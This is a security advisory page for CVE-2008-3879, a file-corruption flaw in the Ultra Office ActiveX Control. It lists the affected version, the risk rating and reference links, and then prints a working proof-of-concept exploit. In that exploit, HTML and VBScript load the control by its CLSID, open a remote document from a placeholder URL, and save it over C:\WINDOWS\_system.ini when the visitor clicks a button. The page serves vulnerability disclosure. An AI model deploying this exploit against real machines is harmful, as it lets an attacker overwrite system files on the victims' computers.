Topic : | Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit
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SecurityAlert : 4201
CVE : CVE-2008-3879
CWE : CWE-20
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : Yes
Exploit Available : Yes
Credit : shinnai
Published : 03.09.2008
Affected Software : | Ultrashareware, Ultra_office_control, 2.0.2008.801, and previous |
 Advisory Content : ---------------------------------------------------------------------------
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Ultra Office ActiveX Control Remote Arbitrary File Corruption
url: http://www.ultrashareware.com
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP3 all patched, with Internet Explorer
7
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<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7'
id='test'></object>
<input language=VBScript type=button value='Click here to start the
test'>
<script language='vbscript'>
Sub tryMe
dim remURL
remURL = "http://SomeSite.com/SomeFile.doc"
test.Open remURL, True
test.Save "C:\WINDOWS\_system.ini", True
End Sub
</script>
References :
http://securityreason.com/expldownload/1/4549/1 (Exploit)
http://www.shinnai.net/xplits/TXT_NPku7jFjRufaz85U6Lxn.html
http://www.shinnai.net/index.php?mod=02_Forum&group=Security&argument=Remote_performed_exploits&topic=1219827906.ff.php
http://www.securityfocus.com/bid/30863
http://www.milw0rm.com/exploits/6319
http://secunia.com/advisories/31632
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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